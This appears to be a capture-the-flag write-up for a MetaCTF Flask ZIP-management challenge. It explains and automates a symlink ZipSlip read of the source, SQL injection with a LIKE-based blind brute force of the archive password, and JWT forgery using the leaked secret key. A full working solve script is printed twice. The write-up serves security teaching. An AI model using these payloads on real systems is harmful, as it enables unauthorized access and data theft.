Overview
Solution
Unfortunately, we aren’t given the source code for this challenge, so we’ll have to do some digging to figure out how to exploit things.
The homepage of the app tells us that it’s designed to help users “securely” manage their ZIP files. We’ll see about that. For now, let’s register as a user and log in. Upon doing so, we’re greeted with three links:
- Upload a ZIP file
- Download a ZIP file
- View and manage files
Looking at the response headers after making a request, we can see that the Server
header has a value of Werkzeug/3.1.3 Python/3.10.16
. This means that we’re dealing with a Flask app. Checking the cookies of the website reveals a JWT called auth_token
. Using something like CyberChef or jwt.io lets us decode the JWT and view its fields:
{
"user_id": "test123",
"role": "user",
"exp": 1742792503
}
Interesting that we have a role of “user”. Through trying common URL endpoints against the website, we stumble across /admin
, which just tells us that we aren’t admin. Assuming that this is where the flag is, we’ll have to find a way to change the “role” field in our JWT from “user” to “admin” to access the page. For now, let’s try using the website.
Uploading a file
Uploading a file is pretty easy. After going to /upload
and choosing a ZIP file from our system, we can click “Upload” and recieve the associated ID number for our uploaded file.
Viewing files
Heading over to /files
shows us all the files we’ve uploaded in a table. The application renames our ZIP files to uploads_x.zip
, where x
is a number. We should also note that there is an ID, and the files have a password attached that isn’t visible to us. We don’t have the source code, so we can only make a guess. However, the fact that the files are indexed by ID and that they’re displayed in a table may indicate the use of a database.
Downloading files
At /download
, we’re prompted for a file ID and a password to download our file. As stated before, we don’t know the password to any of our files, so how are we going to download them? How is downloading our files even relevant to the challenge?
ZipSlip
One of the most common vulnerabilities related to applications that process compressed archives is the ZipSlip vulnerability. By creating an archive file with paths that include directory traversal characters (aka ../
), an attacker can specify a filepath outside of the target directory. If an application doesn’t properly sanitize filepaths, decompression of the archive may cause files with directory traversal characters to be written outside of the intended directory.
An attacker can also use symbolic links, (symlinks), that reference files outside of the target directory when creating malicious archives. When a vulnerable application extracts the archive, it will gather the contents of the symlinked file, which an attacker might be able to read (depending on system permissions).
In our case, we can abuse this vulnerability by setting a symlink to the source code file in the uploaded archive, extracting it via downloading the archive, and reading the source ourselves.
SQL injection
As stated previously, we need to submit the correct file password in order to download it… or so we think. The fact that uploaded files seem to be indexed by ID hints at there being a database on the back-end that’s being used to store records. Assuming this is true, that means that when we submit a request through /download
, the application will perform a query against the database searching for a file that matches the ID and password we supply.
We can test this by submitting a single quote anywhere in the form and evaluating the server’s response. Sure enough, we end up with a “500 Internal Server Error” response when doing that, meaning that we somehow interfered with the query. By passing in a valid file ID and the payload 1 OR 1=1;--
we effectively make the query always return as true, no matter what the password is. This will allow us to download the archive.
But wait! We can’t unzip the archive without its password. Still, knowing that we can manipulate the query used to get the archive, we can change our payload to use the LIKE
filter, which searches for the specified pattern in a column (in our case, the column that stores the password). The %
will match any characters after the ones we specify, and we can use this to brute force the password by iterating through all possible characters. We will look for when the application doesn’t display an error message (indicating that the query was valid), and prepends a found character to the wildcard.
We can repeat the above process until we get the password in its entirety, then use it to unzip our downloaded archive.
Putting most of it together
In order to get the source file, we need to do the following:
- Log into the application
- Create a malicious ZIP file with a symlink to the Flask app’s source code file and upload it
- Use the corresponding file ID and payload
1 OR 1=1
in the download form to get our zip file - Use SQL injection to brute force the password to the zip file
This process can be automated using Python, assuming that the source code is stored one directory above in a file named app.py
(common in Flask deployments):
import requests
import jwt
import os
import json
from rich.console import Console
from rich.progress import Progress
from rich.panel import Panel
from rich.text import Text
# Base URL for the server
BASE_URL = "http://127.0.0.1:5000/"
HEADERS = {'Content-Type': 'application/x-www-form-urlencoded'}
# Initialize Rich console
console = Console()
def print_success(message):
console.print(f":heavy_check_mark: {message}", style="bold green")
def print_failure(message):
console.print(f":x: {message}", style="bold red")
def print_progress(message):
console.print(f":arrow_forward: {message}", style="bold cyan")
# Step 1: Create an account
def create_account(username, password):
print_progress("Step 1: Creating account...")
data = {'username': username, 'password': password}
response = requests.post(f"{BASE_URL}/register", data=data, headers=HEADERS)
if response.status_code == 200:
print_success("Account created successfully!")
return response
print_failure("Failed to create account.")
return None
# Step 2: Login and retrieve the auth token
def login(username, password):
print_progress("Step 2: Logging in...")
data = {'username': username, 'password': password}
response = requests.post(f"{BASE_URL}/login", data=data, headers=HEADERS, allow_redirects=False)
if 'Set-Cookie' in response.headers:
auth_token = response.headers['Set-Cookie'].split("=")[1].split(";")[0]
print_success("Logged in successfully!")
return auth_token
print_failure("Login failed.")
return None
# Step 3: Create a malicious zip file for ZipSlip exploit
def create_zip_slip():
print_progress("Step 3: Creating ZipSlip exploit file...")
os.system("rm -rf meow.zip meow 2>/dev/null")
os.system("ln -s /app/app.py meow")
os.system("zip --symlinks meow.zip meow")
print_success("ZipSlip exploit file created.")
# Step 4: Exploit SQL injection to download file
def exploit_sqli_to_download_file(auth_token, file_id):
print_progress("Step 4: Exploiting SQL injection to download file...")
cookies = {'auth_token': auth_token}
data = {'file_id': file_id, 'password': '1 OR 1=1;--'}
response = requests.post(f"{BASE_URL}/download", cookies=cookies, data=data)
with open("upload.zip", "wb") as file:
file.write(response.content)
print_success("File downloaded via SQL injection.")
# Step 5: Extract the password using SQL injection
def exploit_sqli_to_extract_password(auth_token, file_id):
print_progress("Step 5: Extracting password using SQL injection...")
cookies = {'auth_token': auth_token}
extracted_password = ""
for _ in range(16):
for char in range(16):
hex_char = hex(char)[2:]
data = {'file_id': file_id, 'password': f"1 OR password LIKE '{extracted_password}{hex_char}%';--"}
response = requests.post(f"{BASE_URL}/download", cookies=cookies, data=data)
if "Invalid ID or password!" not in response.text:
extracted_password += hex_char
break
print_success("Password extracted successfully!")
return extracted_password
# Step 6: Build a JWT for admin access
def build_jwt_for_admin(secret_key):
print_progress("Step 6: Building admin JWT...")
payload = {'user_id': 'testuser', 'role': 'admin'}
token = jwt.encode(payload, secret_key, algorithm='HS256')
print_success("Admin JWT created.")
return token
# Step 7: Print the flag using the admin JWT
def print_flag(auth_token):
print_progress("Step 7: Retrieving the flag...")
cookies = {'auth_token': auth_token}
response = requests.get(f"{BASE_URL}/admin", cookies=cookies)
flag = response.text.strip()
border_width = max(len(flag) + 8, 40)
panel = Panel(flag.center(border_width), title="Flag", style="bold yellow", width=border_width)
console.print(panel)
# Main workflow
def main():
username = "testuser"
password = "testpass"
# Step 1: Create account
if not create_account(username, password):
exit()
# Step 2: Login
auth_token = login(username, password)
if not auth_token:
exit()
# Step 3: Exploit ZipSlip vulnerability
create_zip_slip()
with open('meow.zip', 'rb') as zip_file:
files = {'zipfile': ('meow.zip', zip_file.read(), 'application/zip')}
requests.post(f"{BASE_URL}/upload", cookies={'auth_token': auth_token}, files=files)
# Step 4: SQL injection to download file
exploit_sqli_to_download_file(auth_token, 1)
# Step 5: Extract password
extracted_password = exploit_sqli_to_extract_password(auth_token, 1)
console.print(f"Extracted Password: [bold]{extracted_password}[/bold]")
if __name__ == "__main__":
main()
But wait, there’s more!
Now that we have the password to the downloaded archive, let’s decompress it and take a look at the source code. The following snippets are of interest to us:
from auth import jwt_required, verify_token, generate_token
...
app.secret_key = "Oy#s&U5YBt^&T2Q"
...
@app.route('/admin', methods=['GET'])
@jwt_required
def admin():
if verify_token(request.cookies.get('auth_token'))['role'] == 'admin':
return os.environ['FLAG']
return "You are not admin!"
Starting from the top, it appears that this application references a module called auth
. While such a module exists in the Python community, a quick check of its documentation reveals that it functions very differently than portrayed in this web app. This means that we’re likely dealing with another source file named auth.py
. Let’s use our script from earlier to grab it:
import jwt
import datetime
from flask import redirect, url_for, current_app, request
from functools import wraps
# Generate JWT token
def generate_token(user_id):
payload = {
'user_id': user_id,
'role': 'user',
'exp': datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(hours=1)
}
token = jwt.encode(payload, current_app.config['SECRET_KEY'], algorithm='HS256')
return token
# Verify JWT token
def verify_token(token):
try:
payload = jwt.decode(token, current_app.config['SECRET_KEY'], algorithms=['HS256'])
return payload
except jwt.ExpiredSignatureError:
return None
except jwt.InvalidTokenError:
return None
# Decorator to protect routes
def jwt_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
token = request.cookies.get('auth_token') # Get token from cookies
if not token:
# Redirect to login if no token is found
return redirect(url_for('login'))
try:
decoded = jwt.decode(token, current_app.config['SECRET_KEY'], algorithms=['HS256'])
except jwt.ExpiredSignatureError:
return redirect(url_for('login')) # Redirect if token has expired
except jwt.InvalidTokenError:
return redirect(url_for('login')) # Redirect if token is invalid
# Attach user_id to the request context
request.user_id = decoded['user_id']
return f(*args, **kwargs)
return decorated_function
Looks like the JWT stored in auth_token
is signed by the application’s secret key, which is conveniently set via the SECRET_KEY
variable in app.py
. Remember the /admin
endpoint we found earlier? The source code reveals that it contains the flag, but to view it the role
field in our JWT needs to be a value of 'admin'
.
Since we possess the key used to sign the JWT, we can forge our own in our Python script from earlier and send it to the website. Here’s the final solve script:
import requests
import jwt
import os
import json
from rich.console import Console
from rich.progress import Progress
from rich.panel import Panel
from rich.text import Text
# Base URL for the server
BASE_URL = "http://127.0.0.1:5000/"
HEADERS = {'Content-Type': 'application/x-www-form-urlencoded'}
# Initialize Rich console
console = Console()
def print_success(message):
console.print(f":heavy_check_mark: {message}", style="bold green")
def print_failure(message):
console.print(f":x: {message}", style="bold red")
def print_progress(message):
console.print(f":arrow_forward: {message}", style="bold cyan")
# Step 1: Create an account
def create_account(username, password):
print_progress("Step 1: Creating account...")
data = {'username': username, 'password': password}
response = requests.post(f"{BASE_URL}/register", data=data, headers=HEADERS)
if response.status_code == 200:
print_success("Account created successfully!")
return response
print_failure("Failed to create account.")
return None
# Step 2: Login and retrieve the auth token
def login(username, password):
print_progress("Step 2: Logging in...")
data = {'username': username, 'password': password}
response = requests.post(f"{BASE_URL}/login", data=data, headers=HEADERS, allow_redirects=False)
if 'Set-Cookie' in response.headers:
auth_token = response.headers['Set-Cookie'].split("=")[1].split(";")[0]
print_success("Logged in successfully!")
return auth_token
print_failure("Login failed.")
return None
# Step 3: Create a malicious zip file for ZipSlip exploit
def create_zip_slip():
print_progress("Step 3: Creating ZipSlip exploit file...")
os.system("rm -rf meow.zip meow 2>/dev/null")
os.system("ln -s /app/app.py meow")
os.system("zip --symlinks meow.zip meow")
print_success("ZipSlip exploit file created.")
# Step 4: Exploit SQL injection to download file
def exploit_sqli_to_download_file(auth_token, file_id):
print_progress("Step 4: Exploiting SQL injection to download file...")
cookies = {'auth_token': auth_token}
data = {'file_id': file_id, 'password': '1 OR 1=1;--'}
response = requests.post(f"{BASE_URL}/download", cookies=cookies, data=data)
with open("upload.zip", "wb") as file:
file.write(response.content)
print_success("File downloaded via SQL injection.")
# Step 5: Extract the password using SQL injection
def exploit_sqli_to_extract_password(auth_token, file_id):
print_progress("Step 5: Extracting password using SQL injection...")
cookies = {'auth_token': auth_token}
extracted_password = ""
for _ in range(16):
for char in range(16):
hex_char = hex(char)[2:]
data = {'file_id': file_id, 'password': f"1 OR password LIKE '{extracted_password}{hex_char}%';--"}
response = requests.post(f"{BASE_URL}/download", cookies=cookies, data=data)
if "Invalid ID or password!" not in response.text:
extracted_password += hex_char
break
print_success("Password extracted successfully!")
return extracted_password
# Step 6: Build a JWT for admin access
def build_jwt_for_admin(secret_key):
print_progress("Step 6: Building admin JWT...")
payload = {'user_id': 'testuser', 'role': 'admin'}
token = jwt.encode(payload, secret_key, algorithm='HS256')
print_success("Admin JWT created.")
return token
# Step 7: Print the flag using the admin JWT
def print_flag(auth_token):
print_progress("Step 7: Retrieving the flag...")
cookies = {'auth_token': auth_token}
response = requests.get(f"{BASE_URL}/admin", cookies=cookies)
flag = response.text.strip()
border_width = max(len(flag) + 8, 40)
panel = Panel(flag.center(border_width), title="Flag", style="bold yellow", width=border_width)
console.print(panel)
# Main workflow
def main():
username = "testuser"
password = "testpass"
# Step 1: Create account
if not create_account(username, password):
exit()
# Step 2: Login
auth_token = login(username, password)
if not auth_token:
exit()
# Step 3: Exploit ZipSlip vulnerability
create_zip_slip()
with open('meow.zip', 'rb') as zip_file:
files = {'zipfile': ('meow.zip', zip_file.read(), 'application/zip')}
requests.post(f"{BASE_URL}/upload", cookies={'auth_token': auth_token}, files=files)
# Step 4: SQL injection to download file
exploit_sqli_to_download_file(auth_token, 1)
# Step 5: Extract password
extracted_password = exploit_sqli_to_extract_password(auth_token, 1)
console.print(f"Extracted Password: [bold]{extracted_password}[/bold]")
# Step 6: Build admin JWT
admin_token = build_jwt_for_admin('Oy#s&U5YBt^&T2Q')
# Step 7: Retrieve the flag
print_flag(admin_token)
if __name__ == "__main__":
main()
After this, we see the flag printed to our terminal:
MetaCTF{5ql1_4nd_z1p5l1p_vuln3r4b1l1t135_3xpl01t3d}